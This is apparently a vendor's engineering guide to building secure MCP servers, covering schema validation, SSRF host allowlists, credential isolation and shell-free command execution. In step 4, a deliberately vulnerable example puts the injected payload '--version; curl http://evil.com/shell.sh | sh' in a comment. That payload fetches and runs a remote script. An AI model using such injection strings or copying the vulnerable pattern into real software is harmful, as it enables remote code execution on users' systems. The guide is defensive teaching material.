Engineering · 2026-06-02

How to write a zero-finding MCP server: a step-by-step construction guide

Our corpus of 101 MCP servers has exactly two with zero HIGH findings across all six audit axes. Not because writing a secure MCP server is hard — it isn't, if you make the right choices at the start. Both zero-finding servers share the same construction pattern: schema-first tool design, an allowlist-based SSRF firewall, strict credential isolation, a command execution blocklist, and a maintenance posture that keeps future audits clean. This guide walks through each step, with code you can copy directly into a new server.

Before diving in: the SkillAudit report has six axes — Security (SSRF, command-exec), Permissions hygiene, Credential exposure, Maintenance, Client compatibility, and Documentation completeness. A zero-finding server needs to pass all six. The good news is that steps 1 through 4 below cover roughly 90% of all HIGH findings in the corpus. Step 5 handles the maintenance axis. Step 6 handles documentation and compatibility. Each step is independent — you can apply them in any order or retrofit them to an existing server.

1

Schema-first tool design with Zod

Why this is step 1: The invariant that makes all subsequent defenses possible is that your tool handlers only ever receive input that has already been validated against a strict schema. If you validate at the schema boundary, you can trust the types inside your handlers. If you validate ad hoc (or not at all), you are forever managing uncertainty about what the input actually contains — and that uncertainty is where injection vulnerabilities live.

The MCP SDK's tool registration accepts a schema object. Use Zod and pass the schema at registration time. This does two things: it forces the LLM to send only arguments that match the schema (malformed calls are rejected before they reach your handler), and it gives you inferred TypeScript types inside the handler for free.

import { z } from 'zod'
import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'

const server = new McpServer({ name: 'my-server', version: '1.0.0' })

// WRONG — no schema, handler receives unknown
server.tool('fetch_file', 'Fetch a file from the repo', {}, async (args) => {
  // args is untyped. What if filePath is '../../../etc/passwd'?
  // What if it's undefined? What if it's an object?
  const content = await fs.readFile(args.filePath as string, 'utf8')
  return { content: [{ type: 'text', text: content }] }
})

// CORRECT — strict Zod schema, handler only receives validated, typed input
const FetchFileSchema = z.object({
  // Reject anything that looks like a path traversal attempt
  filePath: z
    .string()
    .min(1)
    .max(500)
    .regex(/^[a-zA-Z0-9/_\-\.]+$/, 'Only safe path characters allowed')
    .refine(p => !p.includes('..'), { message: 'Path traversal not allowed' }),
  encoding: z
    .enum(['utf8', 'base64'])
    .default('utf8'),
})

server.tool('fetch_file', 'Fetch a file from the repo', FetchFileSchema.shape, async (args) => {
  // args is now { filePath: string; encoding: 'utf8' | 'base64' }
  // The path traversal check already happened — trust the type here
  const content = await fs.readFile(args.filePath, args.encoding)
  return { content: [{ type: 'text', text: content }] }
})

Critical schema design rules from the corpus review:

PASS Servers with Zod schemas on all tool registrations have zero schema-validation findings on the input-validation axis. This is a binary check — either all tools have strict schemas, or they don't.

2

SSRF-prevention architecture: allowlists, not URL validation

Why allowlists instead of URL validation: Server-Side Request Forgery is the most common HIGH finding in our corpus (36.7% of servers). Most developers respond to SSRF by adding URL validation — blocking localhost, blocking 169.254.x.x, blocking private RFC1918 ranges. These blocklists fail because of DNS rebinding, IPv6 bypass, URL parser confusion, and redirect chains. The only defense that actually works is an allowlist: enumerate the exact hostnames your server legitimately needs to reach, and block everything else.

Build a dedicated URL-checking function that you call on every LLM-supplied URL before making any outbound request:

// ssrf-guard.ts — import this in every handler that fetches LLM-supplied URLs

// The ONLY external hosts this server is designed to reach.
// If a new integration needs a new host, it must be added here explicitly.
const ALLOWED_HOSTS = new Set([
  'api.github.com',
  'raw.githubusercontent.com',
  'api.linear.app',
  // Add new hosts only when explicitly needed by a handler
])

export function assertSafeUrl(raw: string): URL {
  let url: URL
  try {
    url = new URL(raw)
  } catch {
    throw new Error(`Invalid URL: ${raw}`)
  }

  // HTTPS only — no HTTP (plaintext), no file://, no data:, no javascript:
  if (url.protocol !== 'https:') {
    throw new Error(`Protocol ${url.protocol} not allowed — HTTPS only`)
  }

  const host = url.hostname.toLowerCase()

  // Reject by allowlist — the single most important check
  if (!ALLOWED_HOSTS.has(host)) {
    throw new Error(`Host ${host} is not in the approved list`)
  }

  // Defense-in-depth: also reject obviously internal hostnames
  // This protects against allowlist misconfigurations (e.g. adding 'localhost')
  const BLOCKED = ['localhost', '127.0.0.1', '0.0.0.0', '::1', '[::1]']
  if (BLOCKED.includes(host)) {
    throw new Error(`Host ${host} is a loopback address`)
  }

  return url
}

// Usage in a tool handler:
server.tool('fetch_url', 'Fetch content from an approved URL', {
  url: z.string().url().max(2000),
}, async ({ url }) => {
  const safeUrl = assertSafeUrl(url)  // Throws if not in allowlist
  const res = await fetch(safeUrl.toString())
  const text = await res.text()
  return { content: [{ type: 'text', text: text.slice(0, 50_000) }] }
})

The response-size cap (.slice(0, 50_000)) matters: an attacker who controls the target server can return an arbitrarily large response, filling the LLM's context window or causing memory exhaustion. Cap all fetch responses before returning them as tool content.

For servers that don't need to fetch any LLM-supplied URLs at all (many servers only call fixed API endpoints), you can be more direct: never accept a URL as a tool argument. Build the URL inside the handler from fixed base paths and validated path segments only:

// Better: build the URL from validated components, not from an LLM-supplied URL
server.tool('get_repo_file', 'Get a file from a GitHub repo', {
  owner: z.string().regex(/^[a-zA-Z0-9_-]{1,100}$/),
  repo: z.string().regex(/^[a-zA-Z0-9_\-\.]{1,100}$/),
  path: z.string().regex(/^[a-zA-Z0-9\/_\-\.]{1,500}$/).refine(p => !p.includes('..'), 'no traversal'),
}, async ({ owner, repo, path }) => {
  // URL is constructed from validated segments — no SSRF possible
  const url = `https://api.github.com/repos/${owner}/${repo}/contents/${path}`
  const res = await fetch(url, {
    headers: { 'Authorization': `Bearer ${process.env.GITHUB_TOKEN}` },
  })
  return { content: [{ type: 'text', text: await res.text() }] }
})

PASS Zero SSRF findings require: no LLM-supplied URL used in fetch calls without allowlist validation. The cleanest approach is to never accept a URL argument at all and construct URLs from validated path segments.

3

Credential isolation: environment → config → context, never tool argument

Why the flow direction is non-negotiable: Credentials must flow in exactly one direction: from the environment (process.env, a secrets manager, a config file) into the server's startup configuration, and optionally into a per-session context established at authentication time. They must never flow through a tool argument — because tool arguments originate from the LLM, and the LLM can be prompt-injected by malicious content in the tools it reads.

The correct pattern has three tiers:

// Tier 1: Environment → Server config (at startup time, once)
// config.ts
export interface ServerConfig {
  githubToken: string
  openaiKey: string
  dbUrl: string
}

export function loadConfig(): ServerConfig {
  const required = ['GITHUB_TOKEN', 'OPENAI_API_KEY', 'DATABASE_URL']
  const missing = required.filter(k => !process.env[k])
  if (missing.length > 0) {
    throw new Error(`Missing required env vars: ${missing.join(', ')}`)
  }
  return {
    githubToken: process.env.GITHUB_TOKEN!,
    openaiKey: process.env.OPENAI_API_KEY!,
    dbUrl: process.env.DATABASE_URL!,
  }
}

// Tier 2: Config → Request context (at OAuth / session creation time)
// session.ts
export interface Session {
  userId: string
  octokit: Octokit  // Pre-authenticated, scoped to this user's installation
}

export async function createSession(installationId: number, config: ServerConfig): Promise {
  const app = new App({ appId: config.githubAppId, privateKey: config.githubPrivateKey })
  const octokit = await app.getInstallationOctokit(installationId)
  return { userId: String(installationId), octokit }
}

// Tier 3: Session → Tool handler (injected, never from tool args)
// handler.ts
server.tool('create_pr', 'Create a pull request', {
  owner: z.string().regex(/^[a-zA-Z0-9_-]{1,100}$/),
  repo: z.string().regex(/^[a-zA-Z0-9_\-\.]{1,100}$/),
  title: z.string().min(1).max(256),
  body: z.string().max(65535),
  head: z.string().regex(/^[a-zA-Z0-9_\-\.\/]{1,255}$/),
  base: z.string().regex(/^[a-zA-Z0-9_\-\.\/]{1,255}$/).default('main'),
}, async (args, { session }: { session: Session }) => {
  // session.octokit is already authenticated — no token in args
  const pr = await session.octokit.rest.pulls.create({
    owner: args.owner,
    repo: args.repo,
    title: args.title,
    body: args.body,
    head: args.head,
    base: args.base,
  })
  return { content: [{ type: 'text', text: `PR created: ${pr.data.html_url}` }] }
})

Two common mistakes to avoid:

// Log-safe config serialization
const config = loadConfig()
console.log('Server config loaded:', {
  githubToken: config.githubToken ? '[REDACTED]' : '[MISSING]',
  openaiKey: config.openaiKey ? '[REDACTED]' : '[MISSING]',
  dbUrl: config.dbUrl ? '[REDACTED]' : '[MISSING]',
})

PASS The credentials axis passes when: no credentials in tool argument schemas, no credentials in log output, no credentials in tool response content. These are static checks — SkillAudit scans for parameter names matching credential patterns and for string operations that concatenate env vars into log calls.

4

Command execution defense: allowlist of exact commands, no shell: true

Why this finding is a guaranteed F: 43% of corpus servers with shell execution capabilities use shell: true or string interpolation into shell commands. This is the most reliable path to a remote code execution finding — and it receives an automatic F on the Security axis regardless of what arguments are passed. The fix is architectural: move from string-based command construction to allowlist-based argument arrays.
import { execFile } from 'child_process'
import { promisify } from 'util'

const execFileAsync = promisify(execFile)

// The only commands this server will ever execute.
// Each entry maps a stable name to an exact binary path.
const ALLOWED_COMMANDS = {
  git_log: { bin: '/usr/bin/git', baseArgs: ['log', '--oneline', '-20'] },
  git_status: { bin: '/usr/bin/git', baseArgs: ['status', '--porcelain'] },
  git_diff: { bin: '/usr/bin/git', baseArgs: ['diff', '--stat', 'HEAD'] },
  npm_test: { bin: '/usr/bin/npm', baseArgs: ['test', '--', '--reporter=json'] },
} as const

type AllowedCommand = keyof typeof ALLOWED_COMMANDS

// WRONG — shell: true + string interpolation = remote code execution
server.tool('run_git', 'Run git commands', {
  command: z.string(),
}, async ({ command }) => {
  const { stdout } = await execFileAsync('sh', ['-c', `git ${command}`], { shell: true })
  //                                                     ^^^^^^^^^^^
  // If command = '--version; curl http://evil.com/shell.sh | sh'
  // This executes the curl | sh — guaranteed RCE
  return { content: [{ type: 'text', text: stdout }] }
})

// CORRECT — allowlist of known-safe commands + array arguments, no shell
server.tool('run_git', 'Run predefined git commands', {
  command: z.enum(['git_log', 'git_status', 'git_diff']),
  // Only safe additional args, validated by schema
  repoPath: z.string().regex(/^[a-zA-Z0-9_\/\-\.]{1,500}$/).refine(p => !p.includes('..'), 'no traversal').optional(),
}, async ({ command, repoPath }) => {
  const spec = ALLOWED_COMMANDS[command as AllowedCommand]

  const extraArgs: string[] = []
  if (repoPath) {
    extraArgs.push('--work-tree', repoPath)
  }

  // execFile with shell: false (default) — no shell interpretation
  // Arguments are passed directly to the OS, never through a shell
  const { stdout, stderr } = await execFileAsync(
    spec.bin,
    [...spec.baseArgs, ...extraArgs],
    {
      shell: false,  // Explicit — never true
      timeout: 10_000,  // Kill runaway processes after 10 seconds
      maxBuffer: 1024 * 1024,  // 1 MB output cap
    }
  )

  return { content: [{ type: 'text', text: stdout + (stderr ? `\nSTDERR: ${stderr}` : '') }] }
})

Additional command execution rules:

PASS The command execution checks look for: shell: true in any exec call, string template literals that include tool arguments in exec calls, and absence of timeout / maxBuffer in exec calls that accept external input.

5

Maintenance setup: exact pinning, Dependabot, and a disclosure contact

Why maintenance is a security axis: An MCP server with no commits in 18 months, 47 open GitHub issues, and unpinned dependencies is scored as a maintenance risk — because it is one. Community servers that receive no updates are the ones that accumulate unpatched CVEs over their install lifetime. The Anthropic Skills Directory now weights maintenance posture heavily in its review process, and SkillAudit's maintenance axis is what prospective installers use to gauge lifetime risk.

Four maintenance setup actions that cost less than 30 minutes and make a measurable difference on the audit:

# 1. Exact version pinning in package.json
# WRONG — accepts any minor update, including breaking security patches you haven't reviewed
{
  "dependencies": {
    "@modelcontextprotocol/sdk": "^1.2.0",  // ^ accepts 1.3.0, 1.99.0, etc.
    "zod": "~3.22.0"
  }
}

# CORRECT — pin to exact versions; updates are explicit and reviewed
{
  "dependencies": {
    "@modelcontextprotocol/sdk": "1.2.0",
    "zod": "3.22.4"
  }
}

# After pinning, commit a lockfile (package-lock.json or bun.lockb).
# The lockfile is what installers actually pin to — without it, exact
# package.json versions still pull unpinned transitive dependencies.
# 2. Dependabot for automated CVE alerts
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    # Group all non-security updates together to reduce PR noise
    groups:
      non-security:
        applies-to: version-updates
        patterns: ["*"]
    # Security updates always get individual PRs for explicit review
    # (Dependabot does this automatically — no config needed)
# 3. Security disclosure contact in package.json
{
  "name": "my-mcp-server",
  "version": "1.0.0",
  "repository": "https://github.com/yourname/my-mcp-server",
  "bugs": {
    "url": "https://github.com/yourname/my-mcp-server/issues"
  },
  # The security field is checked by SkillAudit's maintenance axis
  "funding": "https://github.com/sponsors/yourname"
}

# SECURITY.md at repo root — required for an A on the maintenance axis
# Content: what versions are supported, how to report privately (email or GitHub private advisory)
# 4. npm audit in CI — catches known CVEs on every push
# .github/workflows/security.yml
name: Security
on: [push, pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm audit --audit-level=moderate
        # Fails the CI build if any moderate or higher CVE is found
        # This means you find out about security issues before installers do

PASS Maintenance axis: exact version pinning in package.json, lockfile committed, Dependabot config present, SECURITY.md present, npm audit in CI, last commit within 90 days. Each missing item drops the axis score by one letter grade.

6

Complete reference skeleton

Below is a minimal but production-ready MCP server skeleton that applies all five steps above. Copy it, replace the placeholder domain and tool names, and you start with a clean slate on all six SkillAudit axes.

File: src/index.ts

import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'
import { z } from 'zod'
import { loadConfig } from './config.js'
import { assertSafeUrl } from './ssrf-guard.js'

const config = loadConfig()  // Throws if required env vars missing

const server = new McpServer({
  name: 'my-mcp-server',
  version: '1.0.0',
})

// Tool 1: Fetch from an approved external API
server.tool(
  'fetch_data',
  'Fetch data from the approved API endpoint',
  {
    resourceId: z.string().regex(/^[a-zA-Z0-9_-]{1,64}$/).describe('Resource ID to fetch'),
  },
  async ({ resourceId }) => {
    // URL constructed from validated segment — no SSRF
    const url = `https://api.approved-service.com/resources/${resourceId}`
    const res = await fetch(url, {
      headers: { 'Authorization': `Bearer ${config.apiKey}` },
      signal: AbortSignal.timeout(10_000),  // 10-second timeout
    })
    if (!res.ok) throw new Error(`API returned ${res.status}`)
    const text = await res.text()
    return { content: [{ type: 'text', text: text.slice(0, 50_000) }] }
  }
)

// Tool 2: Run a safe predefined command
import { execFile } from 'child_process'
import { promisify } from 'util'
const execFileAsync = promisify(execFile)

server.tool(
  'check_status',
  'Check the server process status',
  {
    service: z.enum(['api', 'worker', 'scheduler']).describe('Which service to check'),
  },
  async ({ service }) => {
    // Allowlist map — LLM picks a name, not a command string
    const serviceMap: Record = {
      api: 'api-server',
      worker: 'queue-worker',
      scheduler: 'job-scheduler',
    }
    const { stdout } = await execFileAsync(
      '/usr/bin/systemctl',
      ['status', serviceMap[service]],
      { shell: false, timeout: 5_000, maxBuffer: 512 * 1024 }
    )
    return { content: [{ type: 'text', text: stdout }] }
  }
)

const transport = new StdioServerTransport()
await server.connect(transport)

File: src/ssrf-guard.ts

const ALLOWED_HOSTS = new Set(['api.approved-service.com'])

export function assertSafeUrl(raw: string): URL {
  let url: URL
  try { url = new URL(raw) } catch { throw new Error(`Invalid URL: ${raw}`) }
  if (url.protocol !== 'https:') throw new Error('HTTPS only')
  if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error(`Host not allowed: ${url.hostname}`)
  return url
}

File: src/config.ts

export interface ServerConfig { apiKey: string }

export function loadConfig(): ServerConfig {
  if (!process.env.API_KEY) throw new Error('Missing required env var: API_KEY')
  return { apiKey: process.env.API_KEY }
}

What a zero-finding audit report looks like

Running a SkillAudit scan on a server built from this skeleton returns a report with all six axes in the green zone:

Axis Score Key factor
Security (SSRF + command-exec) A No LLM-supplied URLs in fetch calls; no shell: true
Permissions hygiene A No tool argument accepts credential-like parameter names
Credential exposure A All credentials from env vars; none echoed in log calls or tool responses
Maintenance A Exact pinning, lockfile committed, Dependabot configured, SECURITY.md present
Client compatibility A Uses @modelcontextprotocol/sdk with stdio transport (works in all clients)
Documentation completeness A README with install instructions, env var list, and a runnable example

The documentation axis is the one not covered in depth above, because it's the least architectural: write a README that includes what env vars the server needs and a claude plugin install example. That's the entire requirement. A server that does everything else right but has no README still receives a B on the documentation axis.

Retrofitting an existing server

If you're applying this guide to an existing server rather than a green-field one, the priority order for HIGH findings is:

  1. Remove shell: true first. This is the fastest path to remote code execution and the most reliably caught by security reviewers. It's also usually a one-line change: switch from a string command to an array and drop the shell: true option.
  2. Add the SSRF allowlist second. Create the assertSafeUrl function and add a call at the top of every handler that fetches a URL. Most servers have one or two such handlers.
  3. Move credentials out of tool schemas third. Any tool parameter that looks like a credential needs to be removed from the schema and re-sourced from environment variables at config-load time.
  4. Add Zod schemas to all tools last. This is the highest-effort step because it touches every tool, but it's usually the lowest-risk to retrofit — adding a schema that validates input your handlers were already assuming is typed doesn't change behavior, it just makes the assumption explicit.

Run a SkillAudit scan before you start the retrofit to see exactly which findings you have, and after to verify they're gone. The free plan covers public repos and gives you the full findings list.

Check your MCP server before submission

Paste your GitHub URL and get a full six-axis audit in under 60 seconds. Free for public repos.

Run a free audit → How grading works →

See also